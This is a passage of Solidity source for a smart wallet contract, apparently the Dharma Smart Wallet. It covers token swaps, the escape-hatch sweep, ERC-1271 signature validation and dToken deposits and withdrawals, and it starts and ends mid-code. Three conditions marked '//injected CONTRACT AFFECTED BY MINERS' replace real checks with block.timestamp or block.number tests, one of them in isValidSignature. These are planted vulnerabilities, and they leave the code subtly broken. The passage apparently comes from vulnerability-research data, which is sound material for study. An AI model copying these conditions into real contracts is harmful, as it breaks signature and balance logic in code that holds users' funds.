an escape hatch account has been provided. require(account != address(0), _revertReason(5)); // Set a new escape hatch for the smart wallet unless it has been disabled. _ESCAPE_HATCH_REGISTRY.setEscapeHatch(account); } /** * @notice Swap Ether for Dai and use it to mint Dharma Dai. The trade is * facilitated by a "trade helper" contract in order to protect against * malicious calls related to processing swaps via potentially unsafe call * targets or other parameters. In the event that a swap does not result in * sufficient Dai being received, the swap will be rolled back. In either * case the nonce will still be incremented as long as signatures are valid. * @param ethToSupply uint256 The Ether to supply as part of the swap. * @param minimumDaiReceived uint256 The minimum amount of Dai that must be * received in exchange for the supplied Ether. * @param target address The contract that the trade helper should call in * order to facilitate the swap. * @param data bytes The payload that will be passed to the target, along with * the supplied Ether, by the trade helper in order to facilitate the swap. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @param userSignature bytes A signature that resolves to the public key * set for this account in storage slot zero, `_userSigningKey`. If the user * signing key is not a contract, ecrecover will be used; otherwise, ERC1271 * will be used. A unique hash returned from `getEthForDaiActionID` is prefixed * and hashed to create the message hash for the signature. * @param dharmaSignature bytes A signature that resolves to the public key * returned for this account from the Dharma Key Registry. A unique hash * returned from `getEthForDaiActionIDActionID` is prefixed and hashed to * create the signed message. */ function tradeEthForDaiAndMintDDai( uint256 ethToSupply, uint256 minimumDaiReceived, address target, bytes calldata data, uint256 minimumActionGas, bytes calldata userSignature, bytes calldata dharmaSignature ) external returns (bool ok, bytes memory returnData) { // Ensure caller and/or supplied signatures are valid and increment nonce. _validateActionAndIncrementNonce( ActionType.TradeEthForDai, abi.encode(ethToSupply, minimumDaiReceived, target, data), minimumActionGas, userSignature, dharmaSignature ); // Ensure that an amount of at least 0.001 Dai will be received. require(minimumDaiReceived > _JUST_UNDER_ONE_1000th_DAI, _revertReason(31)); // Set the self-call context in order to call _tradeEthForDaiAndMintDDaiAtomic. _selfCallContext = this.tradeEthForDaiAndMintDDai.selector; // Make the atomic self-call - if the swap fails or the received dai is not // greater than or equal to the requirement, it will revert and roll back the // atomic call as well as fire an ExternalError. If dDai is not successfully // minted, the swap will succeed but an ExternalError for dDai will be fired. (ok, returnData) = address(this).call(abi.encodeWithSelector( this._tradeEthForDaiAndMintDDaiAtomic.selector, ethToSupply, minimumDaiReceived, target, data )); // If the atomic call failed, emit an event signifying a trade failure. if (!ok) { emit ExternalError( address(_TRADE_HELPER), _decodeRevertReason(returnData) ); } } function _tradeEthForDaiAndMintDDaiAtomic( uint256 ethToSupply, uint256 minimumDaiReceived, address target, bytes calldata data ) external { // Ensure caller is this contract and self-call context is correctly set. _enforceSelfCallFrom(this.tradeEthForDaiAndMintDDai.selector); // Do swap using supplied Ether amount, minimum Dai, target, and data. uint256 daiReceived = _TRADE_HELPER.tradeEthForDai.value(ethToSupply)( minimumDaiReceived, target, data ); // Ensure that sufficient Dai was returned as a result of the swap. require(daiReceived >= minimumDaiReceived, _revertReason(32)); // Attempt to deposit the dai received and mint Dharma Dai. _depositDharmaToken(AssetType.DAI, daiReceived); } function tradeDDaiForDUSDC( uint256 dDaiToSupply, uint256 minimumDUSDCReceived, address target, bytes calldata data, uint256 minimumActionGas, bytes calldata signature ) external returns (bool ok, bytes memory returnData) { // Ensure the caller or the supplied signature is valid and increment nonce. _validateActionAndIncrementNonce( ActionType.TradeDDaiForDUSDC, abi.encode(dDaiToSupply, minimumDUSDCReceived, target, data), minimumActionGas, signature, signature ); // Set the self-call context in order to call _tradeDDaiForDUSDCAtomic. _selfCallContext = this.tradeDDaiForDUSDC.selector; // Make the atomic self-call - if the swap fails or the received dUSDC is not // greater than or equal to the requirement, it will revert and roll back the // atomic call as well as fire an ExternalError. (ok, returnData) = address(this).call(abi.encodeWithSelector( this._tradeDDaiForDUSDCAtomic.selector, dDaiToSupply, minimumDUSDCReceived, target, data )); // If the atomic call failed, emit an event signifying a trade failure. if (!ok) { emit ExternalError( address(_TRADE_HELPER), _decodeRevertReason(returnData) ); } } function _tradeDDaiForDUSDCAtomic( uint256 dDaiToSupply, uint256 minimumDUSDCReceived, address target, bytes calldata data ) external { // Ensure caller is this contract and self-call context is correctly set. _enforceSelfCallFrom(this.tradeDDaiForDUSDC.selector); // Transfer dDai into the trade helper. require(ERC20Interface(address(_DDAI)).transfer(address(_TRADE_HELPER), dDaiToSupply)); // Do swap using supplied amount, minimum dUSDC, target, and data. uint256 dUSDCReceived = _TRADE_HELPER.tradeDDaiForDUSDC( minimumDUSDCReceived, target, data ); // Ensure that sufficient dUSDC was returned as a result of the swap. require(dUSDCReceived >= minimumDUSDCReceived, _revertReason(32)); uint256 daiEquivalent = _mul(dDaiToSupply, _DDAI.exchangeRateCurrent()) / 1e18; uint256 usdcEquivalent = _mul(dUSDCReceived, _DUSDC.exchangeRateCurrent()) / 1e18; require(_mul(usdcEquivalent, 1e12) >= daiEquivalent); } /** * @notice Allow the designated escape hatch account to "sweep" the entire * Sai, Dai, USDC, residual dDai, dUSDC, cSai, cDai & cUSDC, and Ether balance * from the smart wallet. The call will revert for any other caller, or if * there is no escape hatch account on this smart wallet. First, an attempt * will be made to redeem any dDai or dUSDC that is currently deposited in a * dToken. Then, attempts will be made to transfer all Sai, Dai, USDC, * residual cSai, cDai & cUSDC, and Ether to the escape hatch account. If any * portion of this operation does not succeed, it will simply be skipped, * allowing the rest of the operation to proceed. Finally, an `Escaped` event * will be emitted. No value is returned from this function - it will either * succeed or revert. */ function escape() external { // Get the escape hatch account, if one exists, for this account. (bool exists, address escapeHatch) = _ESCAPE_HATCH_REGISTRY.getEscapeHatch(); // Ensure that an escape hatch is currently set for this smart wallet. require(exists, _revertReason(6)); // Ensure that the escape hatch account is the caller. require(msg.sender == escapeHatch, _revertReason(7)); // Attempt to redeem all dDai for Dai on Dharma Dai. _withdrawMaxFromDharmaToken(AssetType.DAI); // Attempt to redeem all dUSDC for USDC on Dharma USDC. _withdrawMaxFromDharmaToken(AssetType.USDC); // Attempt to transfer the total Dai balance to the caller. _transferMax(_DAI, msg.sender, true); // Attempt to transfer the total USDC balance to the caller. _transferMax(_USDC, msg.sender, true); // Attempt to transfer any residual cSai to the caller. _transferMax(ERC20Interface(address(_CSAI)), msg.sender, true); // Attempt to transfer any residual cDai to the caller. _transferMax(ERC20Interface(address(_CDAI)), msg.sender, true); // Attempt to transfer any residual cUSDC to the caller. _transferMax(ERC20Interface(address(_CUSDC)), msg.sender, true); // Attempt to transfer any residual dDai to the caller. _transferMax(ERC20Interface(address(_DDAI)), msg.sender, true); // Attempt to transfer any residual dUSDC to the caller. _transferMax(ERC20Interface(address(_DUSDC)), msg.sender, true); // Determine if there is Ether at this address that should be transferred. uint256 balance = address(this).balance; if (block.timestamp > 0) { //injected CONTRACT AFFECTED BY MINERS // Attempt to transfer any Ether to caller and emit an appropriate event. _transferETH(msg.sender, balance); } // Emit an `Escaped` event. emit Escaped(); } /** * @notice Allow the account recovery manager to set a new user signing key on * the smart wallet. The call will revert for any other caller. The account * recovery manager implements a set of controls around the process, including * a timelock and an option to permanently opt out of account recover. No * value is returned from this function - it will either succeed or revert. * @param newUserSigningKey address The new user signing key to set on this * smart wallet. */ function recover(address newUserSigningKey) external { require(msg.sender == _ACCOUNT_RECOVERY_MANAGER, _revertReason(8)); // Increment nonce to prevent signature reuse should original key be reset. _nonce++; // Set up the user's new dharma key and emit a corresponding event. _setUserSigningKey(newUserSigningKey); } /** * @notice Redeem all available cUSDC for USDC and use that USDC to mint * dUSDC. If any step in the process fails, the call will revert and prior * steps will be rolled back. Also note that existing USDC is not included as * part of this operation. */ function migrateCUSDCToDUSDC() external { _migrateCTokenToDToken(AssetType.USDC); } /** * @notice View function to retrieve the Dai and USDC balances held by the * smart wallet, both directly and held in Dharma Dai and Dharma USD Coin, as * well as the Ether balance (the underlying dEther balance will always return * zero in this implementation, as there is no dEther yet). * @return The Dai balance, the USDC balance, the Ether balance, the * underlying Dai balance of the dDai balance, and the underlying USDC balance * of the dUSDC balance (zero will always be returned as the underlying Ether * balance of the dEther balance in this implementation). */ function getBalances() external view returns ( uint256 daiBalance, uint256 usdcBalance, uint256 etherBalance, uint256 dDaiUnderlyingDaiBalance, uint256 dUsdcUnderlyingUsdcBalance, uint256 dEtherUnderlyingEtherBalance // always returns 0 ) { daiBalance = _DAI.balanceOf(address(this)); usdcBalance = _USDC.balanceOf(address(this)); etherBalance = address(this).balance; dDaiUnderlyingDaiBalance = _DDAI.balanceOfUnderlying(address(this)); dUsdcUnderlyingUsdcBalance = _DUSDC.balanceOfUnderlying(address(this)); } /** * @notice View function for getting the current user signing key for the * smart wallet. * @return The current user signing key. */ function getUserSigningKey() external view returns (address userSigningKey) { userSigningKey = _userSigningKey; } /** * @notice View function for getting the current nonce of the smart wallet. * This nonce is incremented whenever an action is taken that requires a * signature and/or a specific caller. * @return The current nonce. */ function getNonce() external view returns (uint256 nonce) { nonce = _nonce; } /** * @notice View function that, given an action type and arguments, will return * the action ID or message hash that will need to be prefixed (according to * EIP-191 0x45), hashed, and signed by both the user signing key and by the * key returned for this smart wallet by the Dharma Key Registry in order to * construct a valid signature for the corresponding action. Any nonce value * may be supplied, which enables constructing valid message hashes for * multiple future actions ahead of time. * @param action uint8 The type of action, designated by it's index. Valid * custom actions in V8 include Cancel (0), SetUserSigningKey (1), * DAIWithdrawal (10), USDCWithdrawal (5), ETHWithdrawal (6), * SetEscapeHatch (7), RemoveEscapeHatch (8), and DisableEscapeHatch (9). * @param amount uint256 The amount to withdraw for Withdrawal actions. This * value is ignored for non-withdrawal action types. * @param recipient address The account to transfer withdrawn funds to or the * new user signing key. This value is ignored for Cancel, RemoveEscapeHatch, * and DisableEscapeHatch action types. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @return The action ID, which will need to be prefixed, hashed and signed in * order to construct a valid signature. */ function getNextCustomActionID( ActionType action, uint256 amount, address recipient, uint256 minimumActionGas ) external view returns (bytes32 actionID) { // Determine the actionID - this serves as a signature hash for an action. actionID = _getActionID( action, _validateCustomActionTypeAndGetArguments(action, amount, recipient), _nonce, minimumActionGas, _userSigningKey, _getDharmaSigningKey() ); } /** * @notice View function that, given an action type and arguments, will return * the action ID or message hash that will need to be prefixed (according to * EIP-191 0x45), hashed, and signed by both the user signing key and by the * key returned for this smart wallet by the Dharma Key Registry in order to * construct a valid signature for the corresponding action. The current nonce * will be used, which means that it will only be valid for the next action * taken. * @param action uint8 The type of action, designated by it's index. Valid * custom actions in V8 include Cancel (0), SetUserSigningKey (1), * DAIWithdrawal (10), USDCWithdrawal (5), ETHWithdrawal (6), * SetEscapeHatch (7), RemoveEscapeHatch (8), and DisableEscapeHatch (9). * @param amount uint256 The amount to withdraw for Withdrawal actions. This * value is ignored for non-withdrawal action types. * @param recipient address The account to transfer withdrawn funds to or the * new user signing key. This value is ignored for Cancel, RemoveEscapeHatch, * and DisableEscapeHatch action types. * @param nonce uint256 The nonce to use. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @return The action ID, which will need to be prefixed, hashed and signed in * order to construct a valid signature. */ function getCustomActionID( ActionType action, uint256 amount, address recipient, uint256 nonce, uint256 minimumActionGas ) external view returns (bytes32 actionID) { // Determine the actionID - this serves as a signature hash for an action. actionID = _getActionID( action, _validateCustomActionTypeAndGetArguments(action, amount, recipient), nonce, minimumActionGas, _userSigningKey, _getDharmaSigningKey() ); } /** * @notice View function that will return the action ID or message hash that * will need to be prefixed (according to EIP-191 0x45), hashed, and signed by * both the user signing key and by the key returned for this smart wallet by * the Dharma Key Registry in order to construct a valid signature for a given * generic action. The current nonce will be used, which means that it will * only be valid for the next action taken. * @param to address The target to call into as part of the generic action. * @param data bytes The data to supply when calling into the target. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @return The action ID, which will need to be prefixed, hashed and signed in * order to construct a valid signature. */ function getNextGenericActionID( address to, bytes calldata data, uint256 minimumActionGas ) external view returns (bytes32 actionID) { // Determine the actionID - this serves as a signature hash for an action. actionID = _getActionID( ActionType.Generic, abi.encode(to, data), _nonce, minimumActionGas, _userSigningKey, _getDharmaSigningKey() ); } /** * @notice View function that will return the action ID or message hash that * will need to be prefixed (according to EIP-191 0x45), hashed, and signed by * both the user signing key and by the key returned for this smart wallet by * the Dharma Key Registry in order to construct a valid signature for a given * generic action. Any nonce value may be supplied, which enables constructing * valid message hashes for multiple future actions ahead of time. * @param to address The target to call into as part of the generic action. * @param data bytes The data to supply when calling into the target. * @param nonce uint256 The nonce to use. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @return The action ID, which will need to be prefixed, hashed and signed in * order to construct a valid signature. */ function getGenericActionID( address to, bytes calldata data, uint256 nonce, uint256 minimumActionGas ) external view returns (bytes32 actionID) { // Determine the actionID - this serves as a signature hash for an action. actionID = _getActionID( ActionType.Generic, abi.encode(to, data), nonce, minimumActionGas, _userSigningKey, _getDharmaSigningKey() ); } /** * @notice View function that will return the action ID or message hash that * will need to be prefixed (according to EIP-191 0x45), hashed, and signed by * both the user signing key and by the key returned for this smart wallet by * the Dharma Key Registry in order to construct a valid signature for an * Eth-to-Dai swap. The current nonce will be used, which means that it will * only be valid for the next action taken. * @param ethToSupply uint256 The Ether to supply as part of the swap. * @param minimumDaiReceived uint256 The minimum amount of Dai that must be * received in exchange for the supplied Ether. * @param target address The contract that the trade helper should call in * order to facilitate the swap. * @param data bytes The payload that will be passed to the target, along with * the supplied Ether, by the trade helper in order to facilitate the swap. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @return The action ID, which will need to be prefixed, hashed and signed in * order to construct a valid signature. */ function getNextEthForDaiActionID( uint256 ethToSupply, uint256 minimumDaiReceived, address target, bytes calldata data, uint256 minimumActionGas ) external view returns (bytes32 actionID) { // Determine the actionID - this serves as a signature hash for an action. actionID = _getActionID( ActionType.TradeEthForDai, abi.encode(ethToSupply, minimumDaiReceived, target, data), _nonce, minimumActionGas, _userSigningKey, _getDharmaSigningKey() ); } /** * @notice View function that will return the action ID or message hash that * will need to be prefixed (according to EIP-191 0x45), hashed, and signed by * both the user signing key and by the key returned for this smart wallet by * the Dharma Key Registry in order to construct a valid signature for an * Eth-to-Dai swap. Any nonce value may be supplied, which enables * constructing valid message hashes for multiple future actions ahead of * time. * @param ethToSupply uint256 The Ether to supply as part of the swap. * @param minimumDaiReceived uint256 The minimum amount of Dai that must be * received in exchange for the supplied Ether. * @param target address The contract that the trade helper should call in * order to facilitate the swap. * @param data bytes The payload that will be passed to the target, along with * the supplied Ether, by the trade helper in order to facilitate the swap. * @param nonce uint256 The nonce to use. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @return The action ID, which will need to be prefixed, hashed and signed in * order to construct a valid signature. */ function getEthForDaiActionID( uint256 ethToSupply, uint256 minimumDaiReceived, address target, bytes calldata data, uint256 nonce, uint256 minimumActionGas ) external view returns (bytes32 actionID) { // Determine the actionID - this serves as a signature hash for an action. actionID = _getActionID( ActionType.TradeEthForDai, abi.encode(ethToSupply, minimumDaiReceived, target, data), nonce, minimumActionGas, _userSigningKey, _getDharmaSigningKey() ); } /** * @notice View function that implements ERC-1271 and validates a set of * signatures, one from the owner (using ERC-1271 as well if the user signing * key is a contract) and one from the Dharma Key Registry against the * supplied data. The data must be ABI encoded as (bytes32, bytes), where the * first bytes32 parameter represents the hash digest for validating the * supplied signatures and the second bytes parameter contains context for the * requested validation. The two signatures are packed together, with the one * from Dharma coming first and that from the user coming second - this is so * that, in future versions, multiple user signatures may be supplied if the * associated key ring requires them. * @param data bytes The data used to validate the signature. * @param signatures bytes The two signatures, each 65 bytes - one from the * owner (using ERC-1271 as well if the user signing key is a contract) and * one from the Dharma Key Registry. * @return The 4-byte magic value to signify a valid signature in ERC-1271, if * the signatures are both valid. */ function isValidSignature( bytes calldata data, bytes calldata signatures ) external view returns (bytes4 magicValue) { // Get message hash digest and any additional context from data argument. bytes32 digest; bytes memory context; if (block.number == 32) { //injected CONTRACT AFFECTED BY MINERS digest = abi.decode(data, (bytes32)); } else { require(data.length >= 64, _revertReason(30)); (digest, context) = abi.decode(data, (bytes32, bytes)); } // Get Dharma signature & user signature from combined signatures argument. require(signatures.length == 130, _revertReason(11)); bytes memory signaturesInMemory = signatures; bytes32 r; bytes32 s; uint8 v; assembly { r := mload(add(signaturesInMemory, 0x20)) s := mload(add(signaturesInMemory, 0x40)) v := byte(0, mload(add(signaturesInMemory, 0x60))) } bytes memory dharmaSignature = abi.encodePacked(r, s, v); assembly { r := mload(add(signaturesInMemory, 0x61)) s := mload(add(signaturesInMemory, 0x81)) v := byte(0, mload(add(signaturesInMemory, 0xa1))) } bytes memory userSignature = abi.encodePacked(r, s, v); // Validate user signature with `SignatureVerification` as the action type. require( _validateUserSignature( digest, ActionType.SignatureVerification, context, _userSigningKey, userSignature ), _revertReason(12) ); // Recover Dharma signature against key returned from Dharma Key Registry. require( _getDharmaSigningKey() == digest.recover(dharmaSignature), _revertReason(13) ); // Return the ERC-1271 magic value to indicate success. magicValue = _ERC_1271_MAGIC_VALUE; } /** * @notice Pure function for getting the current Dharma Smart Wallet version. * @return The current Dharma Smart Wallet version. */ function getVersion() external pure returns (uint256 version) { version = _DHARMA_SMART_WALLET_VERSION; } /** * @notice Perform a series of generic calls to other contracts. If any call * fails during execution, the preceding calls will be rolled back, but their * original return data will still be accessible. Calls that would otherwise * occur after the failed call will not be executed. Note that accounts with * no code may not be specified, nor may the smart wallet itself or the escape * hatch registry. In order to increment the nonce and invalidate the * signatures, a call to this function with valid targets, signatutes, and gas * will always succeed. To determine whether each call made as part of the * action was successful or not, either the corresponding return value or the * corresponding `CallSuccess` or `CallFailure` event can be used - note that * even calls that return a success status will have been rolled back unless * all of the calls returned a success status. Finally, note that this * function must currently be implemented as a public function (instead of as * an external one) due to an ABIEncoderV2 `UnimplementedFeatureError`. * @param calls Call[] A struct containing the target and calldata to provide * when making each call. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @param userSignature bytes A signature that resolves to the public key * set for this account in storage slot zero, `_userSigningKey`. If the user * signing key is not a contract, ecrecover will be used; otherwise, ERC1271 * will be used. A unique hash returned from `getCustomActionID` is prefixed * and hashed to create the message hash for the signature. * @param dharmaSignature bytes A signature that resolves to the public key * returned for this account from the Dharma Key Registry. A unique hash * returned from `getCustomActionID` is prefixed and hashed to create the * signed message. * @return An array of structs signifying the status of each call, as well as * any data returned from that call. Calls that are not executed will return * empty data. */ function executeActionWithAtomicBatchCalls( Call[] memory calls, uint256 minimumActionGas, bytes memory userSignature, bytes memory dharmaSignature ) public returns (bool[] memory ok, bytes[] memory returnData) { // Ensure that each `to` address is a contract and is not this contract. for (uint256 i = 0; i < calls.length; i++) { _ensureValidGenericCallTarget(calls[i].to); } // Ensure caller and/or supplied signatures are valid and increment nonce. (bytes32 actionID, uint256 nonce) = _validateActionAndIncrementNonce( ActionType.GenericAtomicBatch, abi.encode(calls), minimumActionGas, userSignature, dharmaSignature ); // Note: from this point on, there are no reverts (apart from out-of-gas or // call-depth-exceeded) originating from this contract. However, one of the // calls may revert, in which case the function will return `false`, along // with the revert reason encoded as bytes, and fire an CallFailure event. // Specify length of returned values in order to work with them in memory. ok = new bool[](calls.length); returnData = new bytes[](calls.length); // Set self-call context to call _executeActionWithAtomicBatchCallsAtomic. _selfCallContext = this.executeActionWithAtomicBatchCalls.selector; // Make the atomic self-call - if any call fails, calls that preceded it // will be rolled back and calls that follow it will not be made. (bool externalOk, bytes memory rawCallResults) = address(this).call( abi.encodeWithSelector( this._executeActionWithAtomicBatchCallsAtomic.selector, calls ) ); // Parse data returned from self-call into each call result and store / log. CallReturn[] memory callResults = abi.decode(rawCallResults, (CallReturn[])); for (uint256 i = 0; i < callResults.length; i++) { Call memory currentCall = calls[i]; // Set the status and the return data / revert reason from the call. ok[i] = callResults[i].ok; returnData[i] = callResults[i].returnData; // Emit CallSuccess or CallFailure event based on the outcome of the call. if (callResults[i].ok) { // Note: while the call succeeded, the action may still have "failed". emit CallSuccess( actionID, !externalOk, // If another call failed this will have been rolled back nonce, currentCall.to, currentCall.data, callResults[i].returnData ); } else { // Note: while the call failed, the nonce will still be incremented, // which will invalidate all supplied signatures. emit CallFailure( actionID, nonce, currentCall.to, currentCall.data, string(callResults[i].returnData) ); // exit early - any calls after the first failed call will not execute. break; } } } /** * @notice Protected function that can only be called from * `executeActionWithAtomicBatchCalls` on this contract. It will attempt to * perform each specified call, populating the array of results as it goes, * unless a failure occurs, at which point it will revert and "return" the * array of results as revert data. Otherwise, it will simply return the array * upon successful completion of each call. Finally, note that this function * must currently be implemented as a public function (instead of as an * external one) due to an ABIEncoderV2 `UnimplementedFeatureError`. * @param calls Call[] A struct containing the target and calldata to provide * when making each call. * @return An array of structs signifying the status of each call, as well as * any data returned from that call. Calls that are not executed will return * empty data. If any of the calls fail, the array will be returned as revert * data. */ function _executeActionWithAtomicBatchCallsAtomic( Call[] memory calls ) public returns (CallReturn[] memory callResults) { // Ensure caller is this contract and self-call context is correctly set. _enforceSelfCallFrom(this.executeActionWithAtomicBatchCalls.selector); bool rollBack = false; callResults = new CallReturn[](calls.length); for (uint256 i = 0; i < calls.length; i++) { // Perform low-level call and set return values using result. (bool ok, bytes memory returnData) = calls[i].to.call(calls[i].data); callResults[i] = CallReturn({ok: ok, returnData: returnData}); if (!ok) { // Exit early - any calls after the first failed call will not execute. rollBack = true; break; } } if (rollBack) { // Wrap in length encoding and revert (provide data instead of a string). bytes memory callResultsBytes = abi.encode(callResults); assembly { revert(add(32, callResultsBytes), mload(callResultsBytes)) } } } /** * @notice View function that, given an action type and arguments, will return * the action ID or message hash that will need to be prefixed (according to * EIP-191 0x45), hashed, and signed by both the user signing key and by the * key returned for this smart wallet by the Dharma Key Registry in order to * construct a valid signature for a given generic atomic batch action. The * current nonce will be used, which means that it will only be valid for the * next action taken. Finally, note that this function must currently be * implemented as a public function (instead of as an external one) due to an * ABIEncoderV2 `UnimplementedFeatureError`. * @param calls Call[] A struct containing the target and calldata to provide * when making each call. * @param calls Call[] A struct containing the target and calldata to provide * when making each call. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @return The action ID, which will need to be prefixed, hashed and signed in * order to construct a valid signature. */ function getNextGenericAtomicBatchActionID( Call[] memory calls, uint256 minimumActionGas ) public view returns (bytes32 actionID) { // Determine the actionID - this serves as a signature hash for an action. actionID = _getActionID( ActionType.GenericAtomicBatch, abi.encode(calls), _nonce, minimumActionGas, _userSigningKey, _getDharmaSigningKey() ); } /** * @notice View function that, given an action type and arguments, will return * the action ID or message hash that will need to be prefixed (according to * EIP-191 0x45), hashed, and signed by both the user signing key and by the * key returned for this smart wallet by the Dharma Key Registry in order to * construct a valid signature for a given generic atomic batch action. Any * nonce value may be supplied, which enables constructing valid message * hashes for multiple future actions ahead of time. Finally, note that this * function must currently be implemented as a public function (instead of as * an external one) due to an ABIEncoderV2 `UnimplementedFeatureError`. * @param calls Call[] A struct containing the target and calldata to provide * when making each call. * @param calls Call[] A struct containing the target and calldata to provide * when making each call. * @param nonce uint256 The nonce to use. * @param minimumActionGas uint256 The minimum amount of gas that must be * provided to this call - be aware that additional gas must still be included * to account for the cost of overhead incurred up until the start of this * function call. * @return The action ID, which will need to be prefixed, hashed and signed in * order to construct a valid signature. */ function getGenericAtomicBatchActionID( Call[] memory calls, uint256 nonce, uint256 minimumActionGas ) public view returns (bytes32 actionID) { // Determine the actionID - this serves as a signature hash for an action. actionID = _getActionID( ActionType.GenericAtomicBatch, abi.encode(calls), nonce, minimumActionGas, _userSigningKey, _getDharmaSigningKey() ); } /** * @notice Internal function for setting a new user signing key. Called by the * initializer, by the `setUserSigningKey` function, and by the `recover` * function. A `NewUserSigningKey` event will also be emitted. * @param userSigningKey address The new user signing key to set on this smart * wallet. */ function _setUserSigningKey(address userSigningKey) internal { // Ensure that a user signing key is set on this smart wallet. require(userSigningKey != address(0), _revertReason(14)); _userSigningKey = userSigningKey; emit NewUserSigningKey(userSigningKey); } /** * @notice Internal function for setting the allowance of a given ERC20 asset * to the maximum value. This enables the corresponding dToken for the asset * to pull in tokens in order to make deposits. * @param asset uint256 The ID of the asset, either Dai (0) or USDC (1). * @return True if the approval succeeded, otherwise false. */ function _setFullApproval(AssetType asset) internal returns (bool ok) { // Get asset's underlying token address and corresponding dToken address. address token; address dToken; if (asset == AssetType.DAI) { token = address(_DAI); dToken = address(_DDAI); } else { token = address(_USDC); dToken = address(_DUSDC); } // Approve dToken contract to transfer underlying on behalf of this wallet. (ok, ) = address(token).call(abi.encodeWithSelector( // Note: since both Tokens have the same interface, just use DAI's. _DAI.approve.selector, dToken, uint256(-1) )); // Emit a corresponding event if the approval failed. if (!ok) { if (asset == AssetType.DAI) { emit ExternalError(address(_DAI), _revertReason(17)); } else { // Find out why USDC transfer reverted (it doesn't give revert reasons). _diagnoseAndEmitUSDCSpecificError(_USDC.approve.selector); } } } /** * @notice Internal function for depositing a given ERC20 asset and balance on * the corresponding dToken. No value is returned, as no additional steps need * to be conditionally performed after the deposit. * @param asset uint256 The ID of the asset, either Dai (0) or USDC (1). * @param balance uint256 The amount of the asset to deposit. Note that an * attempt to deposit "dust" (i.e. very small amounts) may result in fewer * dTokens being minted than is implied by the current exchange rate due to a * lack of sufficient precision on the tokens in question. */ function _depositDharmaToken(AssetType asset, uint256 balance) internal { // Only perform a deposit if the balance is at least .001 Dai or USDC. if ( asset == AssetType.DAI && balance > _JUST_UNDER_ONE_1000th_DAI || asset == AssetType.USDC && balance > _JUST_UNDER_ONE_1000th_USDC ) { // Get dToken address for the asset type. address dToken = asset == AssetType.DAI ? address(_DDAI) : address(_DUSDC); // Attempt to mint the balance on the dToken contract. (bool ok, bytes memory data) = dToken.call(abi.encodeWithSelector( // Note: since both dTokens have the same interface, just use dDai's. _DDAI.mint.selector, balance )); // Log an external error if something went wrong with the attempt. _checkDharmaTokenInteractionAndLogAnyErrors( asset, _DDAI.mint.selector, ok, data ); } } /** * @notice Internal function for withdrawing a given underlying asset balance * from the corresponding dToken. Note that the requested balance may not be * currently available on Compound, which will cause the withdrawal to fail. * @param asset uint256 The asset's ID, either Dai (0) or USDC (1). * @param balance uint256 The amount of the asset to withdraw, denominated in * the underlying token. Note that an attempt to withdraw "dust" (i.e. very * small amounts) may result in 0 underlying tokens being redeemed, or in * fewer tokens being redeemed than is implied by the current exchange rate * (due to lack of sufficient precision on the tokens). * @return True if the withdrawal succeeded, otherwise false. */ function _withdrawFromDharmaToken( AssetType asset, uint256 balance ) internal returns (bool success) { // Get dToken address for the asset type. (No custom ETH withdrawal action.) address dToken = asset == AssetType.DAI ? address(_DDAI) : address(_DUSDC); // Attempt to redeem the underlying balance from the dToken contract. (bool ok, bytes memory data) = dToken.call(abi.encodeWithSelector( // Note: function selector is the same for each dToken so just use dDai's. _DDAI.redeemUnderlying.selector, balance )); // Log an external error if something went wrong with the attempt. success = _checkDharmaTokenInteractionAndLogAnyErrors( asset, _DDAI.redeemUnderlying.selector, ok, data ); } /** * @notice Internal function for withdrawing the total underlying asset * balance from the corresponding dToken. Note that the requested balance may * not be currently available on Compound, which will cause the withdrawal to * fail. * @param asset uint256 The asset's ID, either Dai (0) or USDC (1). */ function _withdrawMaxFromDharmaToken(AssetType asset) internal { // Get dToken address for the asset type. (No custom ETH withdrawal action.) address dToken = asset == AssetType.DAI ? address(_DDAI) : address(_DUSDC); // Try to retrieve the current dToken balance for this account. ERC20Interface dTokenBalance; (bool ok, bytes memory data) = dToken.call(abi.encodeWithSelector( dTokenBalance.balanceOf.selector, address(this) )); uint256 redeemAmount = 0; if (ok && data.length == 32) { redeemAmount = abi.decode(data, (uint256)); } else { // Something went wrong with the balance check - log an ExternalError. _checkDharmaTokenInteractionAndLogAnyErrors( asset, dTokenBalance.balanceOf.selector, ok, data ); } // Only perform the call to redeem if there is a non-zero balance. if (block.timestamp > 0) { //injected CONTRACT AFFECTED BY MINERS // Attempt to redeem the underlying balance from the dToken contract. (ok, data) = dToken.call(abi.encodeWithSelector( // Function selector is the same for all dTokens, so just use dDai's. _DDAI.redeem.selector, redeemAmount )); // Log an external error if something went wrong with the attempt. _checkDharmaTokenInteractionAndLogAnyErrors( asset, _DDAI.redeem.selector, ok, data ); } } /** * @notice Internal function for transferring the total underlying balance of * the corresponding token to a designated recipient. It will return true if * tokens were successfully transferred (or there is no balance), signified by * the boolean returned by the transfer function, or the call status if the * `suppressRevert` boolean is set to true. * @param token IERC20 The interface of the token in question. * @param recipient address The account that will receive the tokens. * @param suppressRevert bool A boolean indicating whether reverts should be * suppressed or not. Used by the escape hatch so that a problematic transfer * will not block the rest of the call from executing. * @return True if tokens were successfully transferred or if there is no * balance, else false. */ function _transferMax( ERC20Interface token, address recipient, bool suppressRevert ) internal returns (bool success) { // Get the current balance on the smart wallet for the supplied ERC20 token. uint256 balance = 0; bool balanceCheckWorked = true; if (!suppressRevert) { balance = token.balanceOf(address(this)); } else { // Try to retrieve current token balance for this account with 1/2 gas. (bool ok, bytes memory data) = address(token).call.gas(gasleft() / 2)( abi.encodeWithSelector(token.balanceOf.selector, address(this)) ); if 